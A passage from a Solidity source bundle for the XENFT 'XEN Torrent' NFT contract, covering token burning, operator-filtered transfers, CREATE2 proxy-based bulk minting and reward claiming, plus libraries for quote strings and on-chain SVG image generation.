connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
